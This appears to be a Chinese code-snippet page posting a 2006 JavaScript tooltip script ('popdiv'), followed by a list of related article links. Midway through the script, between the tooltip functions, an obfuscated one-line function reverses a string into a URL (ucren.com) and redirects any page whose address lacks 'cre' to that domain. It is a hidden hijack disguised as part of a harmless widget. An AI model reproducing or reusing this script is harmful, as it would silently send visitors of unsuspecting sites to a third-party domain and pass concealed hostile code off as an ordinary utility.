popdiv


Posted in Javascript onJuly 14, 2006

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip

Javascript 相关文章推荐
用JQuery 判断某个属性是否存在hasAttr的解决方法
Apr 26 Javascript
javascript实现table选中的行以指定颜色高亮显示的方法
May 13 Javascript
JavaScript File分段上传
Mar 10 Javascript
js实现不提示直接关闭网页窗口
Mar 30 Javascript
JavaScript函数节流的两种写法
Apr 07 Javascript
详解AngularJs ui-router 路由的简单介绍
Apr 26 Javascript
基于JS代码实现简单易用的倒计时 x 天 x 时 x 分 x 秒效果
Jul 13 Javascript
js replace 全局替换的操作方法
Jun 12 Javascript
微信小程序出现wx.getLocation再次授权问题的解决方法分析
Jan 16 Javascript
Vue中通过属性绑定为元素绑定style行内样式的实例代码
Apr 30 Javascript
Json实现传值到后台代码实例
Jun 30 Javascript
js基础语法与maven项目配置教程案例
Jul 15 Javascript
游戏人文件夹程序 ver 4.03
Jul 14 #Javascript
游戏人文件夹程序 ver 3.0
Jul 14 #Javascript
表单提交验证类
Jul 14 #Javascript
如何实现浏览器上的右键菜单
Jul 10 #Javascript
载入进度条 效果
Jul 08 #Javascript
让广告代码不再影响你的网页加载速度
Jul 07 #Javascript
一段实时更新的时间代码
Jul 07 #Javascript
You might like
Yii框架数据模型的验证规则rules()被执行的方法
2016/12/02 PHP
javascript 写类方式之一
2009/07/05 Javascript
轻量级 JS ToolTip提示效果
2010/07/20 Javascript
使用insertAfter()方法在现有元素后添加一个新元素
2014/05/28 Javascript
jQuery实现信息提示框(带有圆角框与动画)效果
2015/08/07 Javascript
JS实现浏览器状态栏显示时间的方法
2015/10/27 Javascript
Angular.js与Bootstrap相结合实现表格分页代码
2016/04/12 Javascript
JS禁止查看网页源代码的实现方法
2016/10/12 Javascript
JS实现快速的导航下拉菜单动画效果附源码下载
2016/11/01 Javascript
浅谈事件冒泡、事件委托、jQuery元素节点操作、滚轮事件与函数节流
2017/07/22 jQuery
vue axios 表单提交上传图片的实例
2018/03/16 Javascript
记React connect的几种写法(小结)
2018/09/18 Javascript
vue实现分页组件
2020/06/16 Javascript
Vue.extend 编程式插入组件的实现
2019/11/18 Javascript
微信小程序间使用navigator跳转传值问题实例分析
2020/03/27 Javascript
详解Vue.js 响应接口
2020/07/04 Javascript
Node.js fs模块原理及常见用途
2020/10/22 Javascript
[02:49]DAC2018决赛日TOP5 LGD开启黑暗之门绝杀VP
2018/04/08 DOTA
在python的WEB框架Flask中使用多个配置文件的解决方法
2014/04/18 Python
django+js+ajax实现刷新页面的方法
2017/05/22 Python
Pycharm技巧之代码跳转该如何回退
2017/07/16 Python
解决python读取几千万行的大表内存问题
2018/06/26 Python
python删除字符串中指定字符的方法
2018/08/13 Python
详解Appium+Python之生成html测试报告
2019/01/04 Python
Python函数定义及传参方式详解(4种)
2019/03/18 Python
浅析python中while循环和for循环
2019/11/19 Python
Python tornado上传文件的功能
2020/03/26 Python
简单的命令查看安装的python版本号
2020/08/28 Python
利用python汇总统计多张Excel
2020/09/22 Python
HTML5之tabindex属性全面解析
2016/07/07 HTML / CSS
Hotter Shoes英国官网:英伦风格,舒适的鞋子
2017/12/28 全球购物
英国户外装备和冒险服装零售商:alloutdoor
2018/01/30 全球购物
adidas菲律宾官网:adidas PH
2020/02/07 全球购物
毕业生求职自荐信怎么写
2014/01/08 职场文书
房屋买卖协议书范本
2014/04/10 职场文书
Redis实现分布式锁的五种方法详解
2022/06/14 Redis